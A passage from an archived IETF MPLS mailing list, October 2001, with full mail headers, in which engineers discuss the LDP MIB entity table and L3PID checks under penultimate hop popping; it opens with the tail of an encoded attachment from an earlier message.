5+I2ZxYyEf2qAWNldm3HHAhgkFYSvLuI7Jy36tw2aNdsAMCiRp+VhQwZgnEFSkOsELNq3cq1q9ev
YCzDchlDpoyZM3YApGmgFsLahG/cvGljE26cnHLn0q2DVtLdBXgh5E2gZ8/AAAA7

------_=_NextPart_000_01C151E7.CDDB6F90--


From owner-mpls@UU.NET  Wed Oct 10 20:27:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23618
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 20:27:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkez21930;
	Thu, 11 Oct 2001 00:24:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkez12236
	for mpls-outgoing; Thu, 11 Oct 2001 00:23:51 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkez12231
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 00:23:47 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkez24869
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:23:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkez28795
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:23:16 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id UAA04375 for <mpls@uu.net>; Wed, 10 Oct 2001 20:23:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id UAA03664 for mpls@uu.net; Wed, 10 Oct 2001 20:23:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkez12130
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 00:22:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkez04101
	for <mpls@UU.NET>; Thu, 11 Oct 2001 00:20:56 GMT
Received: from hawk.CrescentNetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQlkez25685
	for <mpls@UU.NET>; Thu, 11 Oct 2001 00:21:06 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id UAA06321;
	Wed, 10 Oct 2001 20:20:01 -0400 (EDT)
Message-ID: <3BC4E617.4D1B26BD@crescentnetworks.com>
Date: Wed, 10 Oct 2001 20:21:43 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
CC: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@CrescentNetworks.com, jluciani@CrescentNetworks.com,
        hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable
References: <6B190B34070BD411ACA000B0D0214E56011B524B@newman.tenornet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



"Tiruveedhula, Kishore" wrote:
> 
> Hi Joan,
> 
> >The entity table represents configuration for potential sessions, so
> >if some interfaces use Downstream on Demand and some are Downstream
> >Unsoliticied, then this means a minimum of 2 sessions (so 2
> >mplsLdpEntityLdpId
> >indexes).  RFC3036 describes that a single session could not run both
> >in DOD and DU simultaneously.
> 
>  In case of per platform label space. one entity can have several peers.
>  One entity corresponds to many peers with different peer LDP identifier
> (mplsLdpPeerLdpId) in case of platform label space.
> That means one entity can have many sessions based upon peer. Some sessions
> can use DOD and some sessions
> can use DU, but both sessions corresponds to one entity. In this case one
> session uses one distribution only.
> 
> >There could be two label spaces where both
> >are considered per platform where some interfaces participate in
> >supporting
> >one label space, and some interfaces participate in supporting another
> >label space, which is how one could possibly configure some interfaces
> >for DownStream OnDemand
> >and some interfaces for Downstream Unsolicited (but this would take a
> >minimum
> >of two label ranges and at least two entities (or sessions)).
> 
>  LDP MIB is restricting to use different label space if interfaces uses
> different distribution modes in case of platform label space. That means, it
> is forcing to use multiple platform label space in one LSR.
>  But in case of platform label space, label space id is zero as per RFC 3036
> in LDP identifier (<LSR Id> : <label space id>). This contradicts with your
> answer.

I don't believe this contradicts my response.  You need to have 2
distinct
mplsEntityLdpIds if the label space part is zero, then this means that 
the LSR IDs need to be different.  Admittedly, this is unlikely (or at
least in my experience this is unlikely since I have typically seen the
LSR ID portion == the RouterId), but I suppose if someone wanted 
to do this so that he/she could support both DOD and DU sessions where 
each session is using per platform label space on the same router that
configuration would be an alternative.
 
  -Joan

> 
> Thanks,
> Kishore
> 
> >  -Joan
> 
> >
> >> Thanks,
> >> Kishore
> >
> > -----Original Message-----
> > From: Joan Cucchiara [mailto:jcucchia@CrescentNetworks.com]
> > Sent: Tuesday, October 09, 2001 5:59 PM
> > To: Srinivas T M
> > Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
> > jluciani@CrescentNetworks.com; hans@ipunplugged.com
> > Subject: Re: mplsLdpEntityTable
> >
> > Srinivas T M wrote:
> > >
> > > Hi,
> > >    Can anybody clarify my below question.
> > >
> > > How Interface Index relates to entry in the
> > > mplsLdpEntityTable in case of per-platform label space
> > > , generic label type and in case of LDP Identifier is
> > > same for all interfaces ?
> >
> > The entity entry/row is the configuration for a potential
> > session.  The Interface Index is in the label range tables
> > and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
> > to tie the entity entry with a label range entry.
> >
> > In the case of the per-platform label space, this is also
> > the situation.  I'm not sure if this answers the question
> > you are asking though.
> >
> > >
> > >  Can we use single entry in the entity table for
> > > multiple interfaces? If it is like that, then what
> > > happens if we change label Distribution Method or
> > > LabelRetentionMode  or any field in the entity table,
> > > on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> > > telling how interface relates to entry in the entity
> > > table.
> >
> > The front section of the MIB and the description for
> > mplsLdpEntityAdminStatus does describe that it
> > expects the user to administratively disable the entity
> > (and thus take down the session -- meaning the session
> > is removed) and then change whatever
> > fields and then administratively enable the entity
> > to create new session.
> >
> >   -Joan
> >
> > >
> > >   MplsLdpEntityEntry ::= SEQUENCE {
> > >      mplsLdpEntityLdpId        MplsLdpIdentifier,
> > >      mplsLdpEntityIndex        Unsigned32,
> > >      mplsLdpEntityProtocolVersion  Integer32,
> > >      mplsLdpEntityAdminStatus      INTEGER,
> > >      mplsLdpEntityOperStatus       INTEGER,
> > >      mplsLdpEntityTcpDscPort       Unsigned32,
> > >      mplsLdpEntityUdpDscPort       Unsigned32,
> > >      mplsLdpEntityMaxPduLength     Unsigned32,
> > >      mplsLdpEntityKeepAliveHoldTimer  Integer32,
> > >      mplsLdpEntityHelloHoldTimer      Integer32,
> > >      mplsLdpEntityInitSesThreshold    Integer32,
> > >      mplsLdpEntityLabelDistMethod     INTEGER,
> > >      mplsLdpEntityLabelRetentionMode  INTEGER,
> > >      mplsLdpEntityPVLMisTrapEnable    INTEGER,
> > >      mplsLdpEntityPVL                 Integer32,
> > >      mplsLdpEntityHopCountLimit       Integer32,
> > >      mplsLdpEntityTargPeer            TruthValue,
> > >      mplsLdpEntityTargPeerAddrType
> > > adressFamilyNumbers,
> > >      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
> > >      mplsLdpEntityOptionalParameters
> > > MplsLdpLabelTypes,
> > >      mplsLdpEntityDiscontinuityTime   TimeStamp,
> > >      mplsLdpEntityStorType            StorageType,
> > >      mplsLdpEntityRowStatus            RowStatus
> > >      }
> > >
> > > Thanks in Advance,
> > > Srini.
> > >
> > > __________________________________________________
> > > Do You Yahoo!?
> > > NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> > $8.95/month.
> > > http://geocities.yahoo.com/ps/info1



From owner-mpls@UU.NET  Wed Oct 10 20:32:41 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23684
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 20:32:41 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkez18583;
	Thu, 11 Oct 2001 00:28:15 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkez12535
	for mpls-outgoing; Thu, 11 Oct 2001 00:27:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkez12516
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 00:27:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkez21353
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:25:47 GMT
Received: from merlot.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlkez02723
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:26:01 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9B0Pj027607;
	Wed, 10 Oct 2001 17:25:45 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: (from kireeti@localhost) by kummer.juniper.net (8.8.8/8.7.3) id RAA01639; Wed, 10 Oct 2001 17:25:45 -0700 (PDT)
Date: Wed, 10 Oct 2001 17:25:45 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
Message-Id: <200110110025.RAA01639@kummer.juniper.net>
To: francis.arts@alcatel.be, m_feng@trillium.com
Subject: RE: Use of L3PID
Cc: ApratimM@netbrahma.com, mpls@UU.NET
In-Reply-To: <F1CE15E08172D4119247009027AE9D500C7CA108@FMSMSX37>
Sender: owner-mpls@UU.NET
Precedence: bulk

Mark:

> I don't think the PHP needs to do that. The PHP has, in the "lookup table",
> the incoming label, and the next hop. What is missing is the outgoing label.
> It doesn't need the L3PID to forward the data packets.

With PHP, there is no outgoing label.  If the label stack is empty after
popping, what L2 encapsulation do you put on the data packet?
 
Francis:

> I agree with you. 1 minor addition: If PHP is used, also the penultimate
> node should check.

Slight change: if PHP is used AND the label stack is empty after the pop,
the penultimate LSR should also check.

Mark:

> IMO, only the egress node should check. The transit nodes are merely
> forwarding the data packets. Whether they support the L3PID protocol does
> not seem to be relevant.

Agreed, with Francis's proviso.

Kireeti.


From owner-mpls@UU.NET  Wed Oct 10 20:39:02 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23704
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 20:39:02 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkfa02743;
	Thu, 11 Oct 2001 00:36:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkfa13229
	for mpls-outgoing; Thu, 11 Oct 2001 00:35:35 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkfa13218
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 00:35:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkfa25275
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:34:56 GMT
Received: from thalia.fm.intel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns02.fm.intel.com [132.233.247.11])
	id QQlkfa16443
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:35:10 GMT
Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id AAA24272
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:34:55 GMT
Received: from fmsmsx26.fm.intel.com ([132.233.42.26])
 by fmsmsxvs043.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001101017341020512
 ; Wed, 10 Oct 2001 17:34:10 -0700
Received: by fmsmsx26.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <T6S8G36H>; Wed, 10 Oct 2001 17:36:05 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA109@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'Kireeti Kompella'" <kireeti@juniper.net>, francis.arts@alcatel.be,
        "Feng, Mark" <m_feng@trillium.com>
Cc: ApratimM@netbrahma.com, mpls@UU.NET
Subject: RE: Use of L3PID
Date: Wed, 10 Oct 2001 17:35:36 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Following is from RFC 3031
"
   If, on the other hand, penultimate hop popping is used, then when the
   penultimate hop looks up the label, it determines:

      -  that it is the penultimate hop, and

      -  who the next hop is.

   The penultimate node then pops the stack, and forwards the packet
   based on the information gained by looking up the label that was
   previously at the top of the stack.  When the LSP egress receives the
   packet, the label which is now at the top of the stack will be the
   label which it needs to look up in order to make its own forwarding
   decision.  Or, if the packet was only carrying a single label, the
   LSP egress will simply see the network layer packet, which is just
   what it needs to see in order to make its forwarding decision.
"

- Mark

> -----Original Message-----
> From: Kireeti Kompella [mailto:kireeti@juniper.net]
> Sent: Wednesday, October 10, 2001 5:26 PM
> To: francis.arts@alcatel.be; m_feng@trillium.com
> Cc: ApratimM@netbrahma.com; mpls@uu.net
> Subject: RE: Use of L3PID
> 
> 
> Mark:
> 
> > I don't think the PHP needs to do that. The PHP has, in the 
> "lookup table",
> > the incoming label, and the next hop. What is missing is 
> the outgoing label.
> > It doesn't need the L3PID to forward the data packets.
> 
> With PHP, there is no outgoing label.  If the label stack is 
> empty after
> popping, what L2 encapsulation do you put on the data packet?
>  
> Francis:
> 
> > I agree with you. 1 minor addition: If PHP is used, also 
> the penultimate
> > node should check.
> 
> Slight change: if PHP is used AND the label stack is empty 
> after the pop,
> the penultimate LSR should also check.
> 
> Mark:
> 
> > IMO, only the egress node should check. The transit nodes are merely
> > forwarding the data packets. Whether they support the L3PID 
> protocol does
> > not seem to be relevant.
> 
> Agreed, with Francis's proviso.
> 
> Kireeti.
> 


From owner-mpls@UU.NET  Wed Oct 10 20:47:50 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23749
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 20:47:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkfb19828;
	Thu, 11 Oct 2001 00:45:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkfa13913
	for mpls-outgoing; Thu, 11 Oct 2001 00:44:30 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkfa13899
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 00:44:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkfa15430
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:42:31 GMT
Received: from thalia.fm.intel.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns02.fm.intel.com [132.233.247.11])
	id QQlkfa14599
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:42:45 GMT
Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id AAA27048
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:42:30 GMT
Received: from FMSMSX017.fm.intel.com ([132.233.42.196])
 by fmsmsxvs040.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001101017420625710
 ; Wed, 10 Oct 2001 17:42:06 -0700
Received: by fmsmsx017.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <4LAWQDV9>; Wed, 10 Oct 2001 17:40:34 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA10A@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "Feng, Mark" <m_feng@trillium.com>,
        "'Kireeti Kompella'"<kireeti@juniper.net>,
        "'francis.arts@alcatel.be'" <francis.arts@alcatel.be>
Cc: "'ApratimM@netbrahma.com'" <ApratimM@netbrahma.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Use of L3PID
Date: Wed, 10 Oct 2001 17:43:50 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Sorry, I don't think I completed the thing.

If the egress node needs to have the L2 encapsulation in the data packets, 
then it shouldn't give a NULL label to the penultimate hop.

- Mark

> -----Original Message-----
> From: Feng, Mark 
> Sent: Wednesday, October 10, 2001 5:36 PM
> To: 'Kireeti Kompella'; francis.arts@alcatel.be; Feng, Mark
> Cc: ApratimM@netbrahma.com; mpls@uu.net
> Subject: RE: Use of L3PID
> 
> 
> Following is from RFC 3031
> "
>    If, on the other hand, penultimate hop popping is used, 
> then when the
>    penultimate hop looks up the label, it determines:
> 
>       -  that it is the penultimate hop, and
> 
>       -  who the next hop is.
> 
>    The penultimate node then pops the stack, and forwards the packet
>    based on the information gained by looking up the label that was
>    previously at the top of the stack.  When the LSP egress 
> receives the
>    packet, the label which is now at the top of the stack will be the
>    label which it needs to look up in order to make its own forwarding
>    decision.  Or, if the packet was only carrying a single label, the
>    LSP egress will simply see the network layer packet, which is just
>    what it needs to see in order to make its forwarding decision.
> "
> 
> - Mark
> 
> > -----Original Message-----
> > From: Kireeti Kompella [mailto:kireeti@juniper.net]
> > Sent: Wednesday, October 10, 2001 5:26 PM
> > To: francis.arts@alcatel.be; m_feng@trillium.com
> > Cc: ApratimM@netbrahma.com; mpls@uu.net
> > Subject: RE: Use of L3PID
> > 
> > 
> > Mark:
> > 
> > > I don't think the PHP needs to do that. The PHP has, in the 
> > "lookup table",
> > > the incoming label, and the next hop. What is missing is 
> > the outgoing label.
> > > It doesn't need the L3PID to forward the data packets.
> > 
> > With PHP, there is no outgoing label.  If the label stack is 
> > empty after
> > popping, what L2 encapsulation do you put on the data packet?
> >  
> > Francis:
> > 
> > > I agree with you. 1 minor addition: If PHP is used, also 
> > the penultimate
> > > node should check.
> > 
> > Slight change: if PHP is used AND the label stack is empty 
> > after the pop,
> > the penultimate LSR should also check.
> > 
> > Mark:
> > 
> > > IMO, only the egress node should check. The transit nodes 
> are merely
> > > forwarding the data packets. Whether they support the L3PID 
> > protocol does
> > > not seem to be relevant.
> > 
> > Agreed, with Francis's proviso.
> > 
> > Kireeti.
> > 
> 


From owner-mpls@UU.NET  Wed Oct 10 20:54:42 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23812
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 20:54:42 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkfb02932;
	Thu, 11 Oct 2001 00:51:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkfb14599
	for mpls-outgoing; Thu, 11 Oct 2001 00:51:09 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkfb14556
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 00:50:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkfb26462
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:48:53 GMT
Received: from merlot.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlkfb07289
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:49:07 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9B0mq028719;
	Wed, 10 Oct 2001 17:48:52 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: (from kireeti@localhost) by kummer.juniper.net (8.8.8/8.7.3) id RAA01811; Wed, 10 Oct 2001 17:48:52 -0700 (PDT)
Date: Wed, 10 Oct 2001 17:48:52 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
Message-Id: <200110110048.RAA01811@kummer.juniper.net>
To: m_feng@trillium.com, mpls@UU.NET
Subject: RE: Use of L3PID
In-Reply-To: <F1CE15E08172D4119247009027AE9D500C7CA109@FMSMSX37>
Sender: owner-mpls@UU.NET
Precedence: bulk

> > If the label stack is empty after
> > popping, what L2 encapsulation do you put on the data packet?

> Following is from RFC 3031

Doesn't answer the question.  All you have done is point out that
the RFC is incomplete in its description.

>    The penultimate node then pops the stack, and forwards the packet
>    based on the information gained by looking up the label that was
>    previously at the top of the stack.

If the label that was previously at the top of the stack has the end
of stack bit set, the L3PID (or some other magic) determines what
the layer 2 encap on the outgoing packet should be.  Otherwise, the
outgoing packet is sent as an MPLS packet.

If you do it differently, I'd be interested in your algorithm.

Kireeti.


From owner-mpls@UU.NET  Wed Oct 10 21:03:19 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23892
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 21:03:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkfc24739;
	Thu, 11 Oct 2001 01:00:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkfc16237
	for mpls-outgoing; Thu, 11 Oct 2001 01:00:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkfc15721
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 01:00:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkfb18071
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:57:34 GMT
Received: from calliope1.fm.intel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns01.fm.intel.com [132.233.247.10])
	id QQlkfb20670
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:57:48 GMT
Received: from fmsmsxvs043.fm.intel.com (fmsmsxv043-1.fm.intel.com [132.233.48.128])
	by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id AAA18062
	for <mpls@uu.net>; Thu, 11 Oct 2001 00:57:30 GMT
Received: from fmsmsx28.fm.intel.com ([132.233.42.28])
 by fmsmsxvs043.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001101017564601040
 ; Wed, 10 Oct 2001 17:56:46 -0700
Received: by fmsmsx28.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <4L7BBN9R>; Wed, 10 Oct 2001 17:57:42 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA10B@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'Kireeti Kompella'" <kireeti@juniper.net>,
        "Feng, Mark"<m_feng@trillium.com>, mpls@UU.NET
Subject: RE: Use of L3PID
Date: Wed, 10 Oct 2001 17:58:49 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

You are right. The check should be there at the penultimate hop.

- Mark

> -----Original Message-----
> From: Kireeti Kompella [mailto:kireeti@juniper.net]
> Sent: Wednesday, October 10, 2001 5:49 PM
> To: m_feng@trillium.com; mpls@uu.net
> Subject: RE: Use of L3PID
> 
> 
> > > If the label stack is empty after
> > > popping, what L2 encapsulation do you put on the data packet?
> 
> > Following is from RFC 3031
> 
> Doesn't answer the question.  All you have done is point out that
> the RFC is incomplete in its description.
> 
> >    The penultimate node then pops the stack, and forwards the packet
> >    based on the information gained by looking up the label that was
> >    previously at the top of the stack.
> 
> If the label that was previously at the top of the stack has the end
> of stack bit set, the L3PID (or some other magic) determines what
> the layer 2 encap on the outgoing packet should be.  Otherwise, the
> outgoing packet is sent as an MPLS packet.
> 
> If you do it differently, I'd be interested in your algorithm.
> 
> Kireeti.
> 


From owner-mpls@UU.NET  Wed Oct 10 21:50:16 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25354
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 21:50:16 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkff22345;
	Thu, 11 Oct 2001 01:48:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkff08075
	for mpls-outgoing; Thu, 11 Oct 2001 01:48:15 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkff08070
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 01:48:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkff19546
	for <mpls@UU.NET>; Thu, 11 Oct 2001 01:48:01 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f106.law12.hotmail.com [64.4.19.106])
	id QQlkff21495
	for <mpls@UU.NET>; Thu, 11 Oct 2001 01:48:15 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 10 Oct 2001 18:48:00 -0700
Received: from 206.54.51.125 by lw12fd.law12.hotmail.msn.com with HTTP;
	Thu, 11 Oct 2001 01:47:59 GMT
X-Originating-IP: [206.54.51.125]
From: "Hariom P" <hmp123@hotmail.com>
To: m_feng@trillium.com, kireeti@juniper.net, mpls@UU.NET
Subject: RE: Use of L3PID
Date: Wed, 10 Oct 2001 18:47:59 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F106W46ROZ4vSHIhIc800002a7b@hotmail.com>
X-OriginalArrivalTime: 11 Oct 2001 01:48:00.0200 (UTC) FILETIME=[C2050C80:01C151F6]
Sender: owner-mpls@UU.NET
Precedence: bulk

I am a little confused here. Please correct me if my understanding from this 
thread is incorrect..

1. Every hop will store the L3PID received in the path msg.

2. Penultimate hop if asked by the egress-hop to do PHP will POP the label 
and use the L3PID as the encap type only if POPed label happens to be the 
last label in the stack.

3. Only Egress hop has to make sure it supports the protocol indicated in 
the L3PID, else send pathErr msg. That is because it has to do POP and 
ROUTE.

